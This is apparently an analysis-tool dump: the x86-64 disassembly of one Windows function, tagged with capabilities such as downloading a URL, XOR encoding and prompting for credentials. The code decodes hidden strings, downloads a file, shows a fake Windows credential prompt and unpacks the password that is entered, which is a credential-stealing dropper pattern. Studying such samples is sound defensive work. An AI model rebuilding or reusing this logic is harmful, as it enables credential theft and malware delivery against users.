Function at 0x140029cc0
Capabilities:
Download url
Encode data using xor
Prompt user for credentials
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x120]
sub rsp, 0x220
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rbp + 0x110], rax
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_AllocConsole]
movdqa xmm0, xmmword [0x140035ab0]
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x1002526
mov ecx, ebx
nop dword [rax + rax]
lea eax, [rcx + 0x45]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x12
jb 0x140029d20
mov byte [rsp + 0x73], bl
xor edx, edx
lea rcx, [rsp + 0x60]
call qword [sym.imp.USER32.dll_FindWindowA]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [rbp + 0x80]
call fcn.140024000
mov rdx, rax
lea rcx, [0x14003c148]
call fcn.14002c160
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x140029db0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029dab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140029dab
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
call fcn.140025c20
mov dword [rsp + 0x60], 0xf414f46a
mov dword [rsp + 0x64], 0xf42ff428
mov dword [rsp + 0x68], 0xf42ff43c
mov dword [rsp + 0x6c], 0xf422f40e
mov dword [rsp + 0x70], 0xf427f42a
mov dword [rsp + 0x74], 0xf435f421
mov word [rsp + 0x78], bx
mov byte [rsp + 0x7a], 1
mov rcx, rbx
mov r13d, 0xbbb
nop dword [rax + rax]
movzx eax, cx
sub ax, r13w
xor word [rsp + rcx*2 + 0x60], ax
inc rcx
cmp rcx, 0xc
jb 0x140029e00
mov byte [rsp + 0x7a], bl
lea rcx, [rbp + 0x80]
call fcn.14001f860
nop
lea rcx, [rsp + 0x60]
mov rdi, 0xffffffffffffffff
mov r8, rdi
inc r8
cmp word [rcx + r8*2], 0
jne 0x140029e35
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.14002c0e0
xorps xmm0, xmm0
movups xmmword [rbp + 0xd0], xmm0
mov qword [rbp + 0xe0], rbx
mov qword [rbp + 0xe8], rbx
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xe0], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
mov rdx, qword [rbp + 0x98]
cmp rdx, 7
jbe 0x140029ed2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029ecd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140029ecd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
movdqa xmm0, xmmword [0x140035a70]
movdqu xmmword [rbp + 0x90], xmm0
mov word [rbp + 0x80], bx
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 7
cmova rdx, qword [rbp + 0xd0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
mov r8, qword [rbp + 0xe0]
lea rcx, [rbp - 0x58]
call fcn.14002e280
nop
lea rcx, [rbp - 0x58]
call fcn.140024fd0
movzx esi, al
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x140029f6f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140029f6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140029f6a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
test sil, sil
jne 0x14002a014
lea rdx, [rbp + 0xd0]
cmp qword [rbp + 0xe8], 7
cmova rdx, qword [rbp + 0xd0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x48], rbx
mov qword [rbp - 0x40], rbx
mov r8, qword [rbp + 0xe0]
lea rcx, [rbp - 0x58]
call fcn.14002e280
nop
lea rcx, [rbp - 0x58]
cmp qword [rbp - 0x40], 7
cmova rcx, qword [rbp - 0x58]
call fcn.14002f6ac
mov rdx, rax
shr rax, 0x20
test eax, eax
jne 0x14002aa97
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x14002a014
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a00f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a00f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
call fcn.1400268b0
call fcn.140026f90
lea rcx, [rbp - 0x58]
call fcn.140020680
nop
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140023940
nop
mov rdx, qword [rbp - 0x40]
cmp rdx, 7
jbe 0x14002a07b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a076
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a076
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
movdqa xmm0, xmmword [0x140035a70]
movdqu xmmword [rbp - 0x48], xmm0
mov word [rbp - 0x58], bx
mov dword [rbp - 0x68], 0xf468f474
mov dword [rbp - 0x64], 0xf466f472
mov dword [rbp - 0x60], 0xf47e
mov byte [rbp - 0x5c], 1
mov rcx, rbx
nop dword [rax + rax]
movzx eax, cx
sub ax, r13w
xor word [rbp + rcx*2 - 0x68], ax
inc rcx
cmp rcx, 5
jb 0x14002a0b0
mov byte [rbp - 0x5c], 0
lea rax, [rbp - 0x68]
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], 0
jne 0x14002a0d0
lea rcx, [rbp + 0xf0]
cmp qword [rbp + 0x108], 7
cmova rcx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0x100]
cmp rdx, rdi
jne 0x14002a96b
test rdx, rdx
je 0x14002a127
lea rdi, [rbp - 0x68]
sub rdi, rcx
nop dword [rax]
movzx eax, word [rcx]
cmp ax, word [rcx + rdi]
jne 0x14002a96b
add rcx, 2
sub rdx, 1
jne 0x14002a110
call fcn.140025360
mov dword [rbp + 0x80], 0xf47cf406
mov dword [rbp + 0x84], 0xf41ff41b
mov dword [rbp + 0x88], 0xf424f420
mov dword [rbp + 0x8c], 0xf423f42f
mov dword [rbp + 0x90], 0xf43df43a
mov dword [rbp + 0x94], 0xf404f413
mov dword [rbp + 0x98], 0xf43ff434
mov dword [rbp + 0x9c], 0xf408f423
mov dword [rbp + 0xa0], 0xf46ef42d
mov dword [rbp + 0xa4], 0xf476f461
mov dword [rbp + 0xa8], 0xf433f43b
mov dword [rbp + 0xac], 0xf435
mov byte [rbp + 0xb0], 1
mov rcx, rbx
nop
movzx eax, cx
sub ax, r13w
xor word [rbp + rcx*2 + 0x80], ax
inc rcx
cmp rcx, 0x17
jb 0x14002a1b0
mov byte [rbp + 0xb0], 0
mov dword [rbp - 0x30], 0xf432f42d
mov dword [rbp - 0x2c], 0xf438f433
mov dword [rbp - 0x28], 0xf470f43a
mov dword [rbp - 0x24], 0xf463f464
mov dword [rbp - 0x20], 0xf421f43f
mov dword [rbp - 0x1c], 0xf425f428
mov dword [rbp - 0x18], 0xf431f434
mov dword [rbp - 0x14], 0xf431f43b
mov dword [rbp - 0x10], 0xf422f434
mov dword [rbp - 0xc], 0xf476f424
mov dword [rbp - 8], 0xf423f421
mov dword [rbp - 4], 0xf473f421
mov dword [rbp], 0xf431f431
mov dword [rbp + 4], 0xf404f43e
mov dword [rbp + 8], 0xf410f404
mov dword [rbp + 0xc], 0xf402f44c
mov dword [rbp + 0x10], 0xf40af40c
mov dword [rbp + 0x14], 0xf41bf402
mov dword [rbp + 0x18], 0xf42ff446
mov dword [rbp + 0x1c], 0xf40bf405
mov dword [rbp + 0x20], 0xf400f404
mov dword [rbp + 0x24], 0xf45ff40a
mov dword [rbp + 0x28], 0xf44af409
mov dword [rbp + 0x2c], 0xf45af445
mov dword [rbp + 0x30], 0xf41ff417
mov dword [rbp + 0x34], 0xf419
mov byte [rbp + 0x38], 1
mov rcx, rbx
mov edx, 0xbbb
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x30], ax
inc rcx
cmp rcx, 0x33
jb 0x14002a291
mov byte [rbp + 0x38], 0
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea r8, [rbp + 0x80]
lea rdx, [rbp - 0x30]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov dword [rbp + 0x58], 0x28
mov qword [rbp + 0x78], rbx
mov qword [rbp + 0x60], rbx
mov dword [rsp + 0x60], 0xf429f409
mov dword [rsp + 0x64], 0xf42cf426
mov dword [rsp + 0x68], 0xf438f42c
mov word [rsp + 0x6c], bx
mov byte [rsp + 0x6e], 1
mov rcx, rbx
mov r8d, 0xbbb
nop
movzx eax, cx
sub ax, r8w
xor word [rsp + rcx*2 + 0x60], ax
inc rcx
cmp rcx, 6
jb 0x14002a300
lea rax, [rsp + 0x60]
mov qword [rbp + 0x70], rax
mov dword [rbp - 0x30], 0xf42af415
mov dword [rbp - 0x2c], 0xf429f422
mov dword [rbp - 0x28], 0xf42ff43a
mov dword [rbp - 0x24], 0xf429f46b
mov dword [rbp - 0x20], 0xf43af423
mov dword [rbp - 0x1c], 0xf422f42a
mov dword [rbp - 0x18], 0xf42bf471
mov dword [rbp - 0x14], 0xf421f43c
mov dword [rbp - 0x10], 0xf476f427
mov dword [rbp - 0xc], 0xf43df420
mov dword [rbp - 8], 0xf429f43b
mov dword [rbp - 4], 0xf428f432
mov dword [rbp], 0xf47ef438
mov dword [rbp + 4], 0xf40ff433
mov dword [rbp + 8], 0xf40bf406
mov dword [rbp + 0xc], 0xf444f40d
mov dword [rbp + 0x10], 0xf414f406
mov dword [rbp + 0x14], 0xf40cf402
mov dword [rbp + 0x18], 0xf404f40c
mov dword [rbp + 0x1c], 0xf405f41f
mov dword [rbp + 0x20], 0xf402f40c
mov dword [rbp + 0x24], 0xf45ef41c
mov word [rbp + 0x28], bx
mov byte [rbp + 0x2a], 1
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, cx
sub ax, r8w
xor word [rbp + rcx*2 - 0x30], ax
inc rcx
cmp rcx, 0x2c
jb 0x14002a3d0
lea rax, [rbp - 0x30]
mov qword [rbp + 0x68], rax
mov dword [rbp + 0xc4], ebx
mov qword [rbp + 0x50], rbx
mov dword [rbp + 0xc0], ebx
mov dword [rbp + 0xc8], ebx
mov dword [rsp + 0x40], 1
lea rax, [rbp + 0xc8]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8, [rbp + 0xc4]
xor edx, edx
lea rcx, [rbp + 0x58]
call qword [sym.imp.credui.dll_CredUIPromptForWindowsCredentialsW]
test eax, eax
jne 0x14002a88b
lea rax, [0x14003c0bc]
mov qword [rsp + 0x40], rax
mov rax, qword [0x14003e758]
mov qword [rsp + 0x38], rax
lea rax, [0x14003c0b8]
mov qword [rsp + 0x30], rax
mov rax, qword [0x14003e7c0]
mov qword [rsp + 0x28], rax
lea rax, [0x14003c0c0]
mov qword [rsp + 0x20], rax
mov r9, qword [0x14003e788]
mov r8d, dword [rbp + 0xc0]
mov rdx, qword [rbp + 0x50]
mov ecx, 4
call qword [sym.imp.credui.dll_CredUnPackAuthenticationBufferW]
mov edi, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
test edi, edi
jne 0x14002a59f
mov dword [rbp + 0x80], 0xf434f406
mov dword [rbp + 0x84], 0xf42cf422
mov dword [rbp + 0x88], 0xf424f41c
mov dword [rbp + 0x8c], 0xf42df41b
mov dword [rbp + 0x90], 0xf425f42e
mov dword [rbp + 0x94], 0xf425f40e
mov dword [rbp + 0x98], 0xf43af425
mov dword [rbp + 0x9c], 0xf43af436
mov dword [rbp + 0xa0], 0xf43ff421
mov dword [rbp + 0xa4], 0xf439f434
mov dword [rbp + 0xa8], 0xf433f42d
mov dword [rbp + 0xac], 0xf432f434
mov dword [rbp + 0xb0], 0xf42bf41f
mov dword [rbp + 0xb4], 0xf406f439
mov dword [rbp + 0xb8], 0xf410f404
mov word [rbp + 0xbc], bx
mov byte [rbp + 0xbe], 1
mov rcx, rbx
mov edx, 0xbbb
nop word [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 + 0x80], ax
inc rcx
cmp rcx, 0x1e
jb 0x14002a570
mov byte [rbp + 0xbe], 0
lea rdx, [rbp + 0x80]
call fcn.1400290f0
jmp 0x14002a88d
call fcn.1400273a0
cmp dword [0x14003e760], 1
jne 0x14002a78a
call fcn.140025ad0
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x20], rbx
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x10], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp], xmm1
lea rax, [0x140029700]
mov qword [rbp - 0x28], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp - 0x18], rax
lea rdi, str.U2FsdGVkX1
mov qword [rbp + 0x10], rdi
lea rcx, [rbp - 0x30]
call qword [sym.imp.USER32.dll_RegisterClassW]
mov qword [rsp + 0x58], rbx
mov rax, qword [rbp - 0x18]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], 0xfffffffffffffffd
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8, rdi
mov rdx, qword [rbp + 0x10]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
xor r9d, r9d
lea edx, [r9 + 1]
mov r8d, 0x3e8
mov rcx, rax
call qword [sym.imp.USER32.dll_SetTimer]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x14002a78a
nop dword [rax + rax]
lea rcx, [rbp + 0x80]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x80]
call qword [sym.imp.USER32.dll_DispatchMessageW]
cmp dword [rbp + 0x88], 0x113
jne 0x14002a76d
cmp qword [rbp + 0x90], 1
jne 0x14002a76d
call fcn.140026f90
cmp dword [0x14003e7c8], 1
jne 0x14002a76d
mov dword [rsp + 0x60], 0xf423f409
mov dword [rsp + 0x64], 0xf43cf421
mov dword [rsp + 0x68], 0xf47ef469
mov dword [rsp + 0x6c], 0xf408f46b
mov dword [rsp + 0x70], 0xf42ff428
mov dword [rsp + 0x74], 0xf470f42b
mov dword [rsp + 0x78], 0xf472f463
mov dword [rsp + 0x7c], 0xf474f47e
mov dword [rbp - 0x80], 0xf43ff411
mov dword [rbp - 0x7c], 0xf43df425
mov dword [rbp - 0x78], 0xf42ef43a
mov dword [rbp - 0x74], 0xf418f468
mov dword [rbp - 0x70], 0xf467f47d
mov word [rbp - 0x6c], bx
mov byte [rbp - 0x6a], 1
mov rax, rbx
mov edx, 0xbbb
nop dword [rax]
movzx ecx, ax
sub cx, dx
xor word [rsp + rax*2 + 0x60], cx
inc rax
cmp rax, 0x1a
jb 0x14002a730
mov byte [rbp - 0x6a], 0
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowW]
test rax, rax
je 0x14002a76d
call fcn.140029270
cmp dword [0x14003e750], 3
je 0x14002a76d
call fcn.140028bd0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x80]
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x14002a670
mov dword [rsp + 0x60], 0xf435f430
mov dword [rsp + 0x64], 0xf43af422
mov dword [rsp + 0x68], 0xf42bf427
mov dword [rsp + 0x6c], 0xf429f426
mov dword [rsp + 0x70], 0xf46d
mov byte [rsp + 0x74], 1
mov rdx, rbx
mov esi, 0xbbb
nop
movzx eax, dx
sub ax, si
xor word [rsp + rdx*2 + 0x60], ax
inc rdx
cmp rdx, 9
jb 0x14002a7c0
mov byte [rsp + 0x74], 0
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14002d960
mov rdx, qword [0x14003e788]
mov rcx, rax
call fcn.14002d960
lea rdx, [0x14002db40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov dword [rsp + 0x60], 0xf427f435
mov dword [rsp + 0x64], 0xf43bf434
mov dword [rsp + 0x68], 0xf425f43e
mov dword [rsp + 0x6c], 0xf428f439
mov dword [rsp + 0x70], 0xf46d
mov byte [rsp + 0x74], 1
mov rdi, rbx
nop dword [rax]
movzx eax, di
sub ax, si
xor word [rsp + rdi*2 + 0x60], ax
inc rdi
cmp rdi, 9
jb 0x14002a840
mov byte [rsp + 0x74], 0
lea rdx, [rsp + 0x60]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14002d960
mov rdx, qword [0x14003e758]
mov rcx, rax
call fcn.14002d960
lea rdx, [0x14002db40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14002a88d
mov ebx, eax
mov ecx, dword [rbp + 0xc0]
mov rdi, qword [rbp + 0x50]
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
nop
mov rax, qword [rbp + 0x108]
cmp rax, 7
jbe 0x14002a8f0
lea rdx, [rax*2 + 2]
mov rcx, qword [rbp + 0xf0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a8ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a8ea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
nop
mov rdx, qword [rbp + 0xe8]
cmp rdx, 7
jbe 0x14002a939
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xd0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14002a934
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14002a934
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002ffa8
mov eax, ebx
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.14002fac0
lea r11, [rsp + 0x220]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov dword [rsp + 0x60], 0xf42af406
mov dword [rsp + 0x64], 0xf42df42e
mov dword [rsp + 0x68], 0xf43ef427
mov word [rsp + 0x6c], bx
mov byte [rsp + 0x6e], 1
lea rcx, [rsp + 0x60]
call fcn.14001fe70
mov rdi, rax
mov dword [rbp - 0x30], 0xf42ef411
mov dword [rbp - 0x2c], 0xf43bf42e
mov dword [rbp - 0x28], 0xf428f469
mov dword [rbp - 0x24], 0xf425f43e
mov dword [rbp - 0x20], 0xf42af421
mov dword [rbp - 0x1c], 0xf439f46f
mov dword [rbp - 0x18], 0xf472f422
mov dword [rbp - 0x14], 0xf421f43c
mov dword [rbp - 0x10], 0xf432f421
mov dword [rbp - 0xc], 0xf42cf436
mov dword [rbp - 8], 0xf43ef43c
mov dword [rbp - 4], 0xf438f47b
mov dword [rbp], 0xf429f432
mov dword [rbp + 4], 0xf40cf431
mov dword [rbp + 8], 0xf403f40e
mov dword [rbp + 0xc], 0xf444f407
mov dword [rbp + 0x10], 0xf40ef411
mov dword [rbp + 0x14], 0xf448f402
mov dword [rbp + 0x18], 0xf40ff407
mov dword [rbp + 0x1c], 0xf409f41c
mov dword [rbp + 0x20], 0xf41af41e
mov dword [rbp + 0x24], 0xf41ff44f
mov dword [rbp + 0x28], 0xf417f41f
mov dword [rbp + 0x2c], 0xf415f453
mov dword [rbp + 0x30], 0xf456f401
mov dword [rbp + 0x34], 0xf419f413
mov dword [rbp + 0x38], 0xf412f40a
mov dword [rbp + 0x3c], 0xf413f419
mov dword [rbp + 0x40], 0xf40cf41c
mov dword [rbp + 0x44], 0xf4aef41b
mov word [rbp + 0x48], bx
mov byte [rbp + 0x4a], 1
lea rcx, [rbp - 0x30]
call fcn.14002aab0
xor r9d, r9d
mov r8, rdi
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
shr rdx, 0x20
lea r8, [rbp - 0x58]
call fcn.140024f00
int3